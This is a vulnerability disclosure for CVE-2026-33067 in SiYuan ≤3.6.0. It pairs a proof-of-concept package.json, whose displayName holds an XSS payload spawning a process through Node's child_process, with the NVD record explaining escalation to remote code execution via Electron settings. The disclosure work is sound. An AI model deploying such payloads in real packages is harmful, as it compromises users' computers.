CVE-2026-33067

// Malicious package.json metadata for PoC { "name": "exploit-poc", "displayName": "<img src=x onerror=\"require('child_process').exec('calc.exe')\">", "description": "Triggering RCE via XSS in SiYuan <= 3.6.0" } // Explanation: // 1. The 'displayName' contains an XSS payload using an <img> tag error handler. // 2. When SiYuan renders this in the Bazaar, the payload executes. // 3. The payload uses Node.js 'child_process' to spawn a calculator (demonstrating code execution).

{"cve": {"id": "CVE-2026-33067", "sourceIdentifier": "[email protected]", "published": "2026-03-20T09:16:14.863", "lastModified": "2026-03-23T15:31:25.547", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SiYuan is a personal knowledge management system. Versions 3.6.0 and below render package metadata fields (displayName, description) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables nodeIntegration: true with contextIsolation: false, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab. This issue has been fixed in version 3.6.1."}, {"lang": "es", "value": "SiYuan es un sistema de gestión de conocimiento personal. Las versiones 3.6.0 e inferiores renderizan los campos de metadatos del paquete (displayName, description) utilizando literales de plantilla sin escape HTML. Un autor de paquete malicioso puede inyectar HTML/JavaScript arbitrario en estos campos, lo que se ejecuta automáticamente cuando cualquier usuario navega por la página de Bazaar. Debido a que la configuración de Electron de SiYuan habilita nodeIntegration: true con contextIsolation: false, este XSS escala directamente a la ejecución remota de código completa en el sistema operativo de la víctima — con cero interacción del usuario más allá de abrir la pestaña del marketplace. Este problema ha sido solucionado en la versión 3.6.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:b3log:siyuan:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.6.1", "matchCriteriaId": "E1AA6470-222A-4841-A487-DF65F9859780"}]}]}], "references": [{"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-mvpm-v6q4-m2pf", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-mvpm-v6q4-m2pf", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}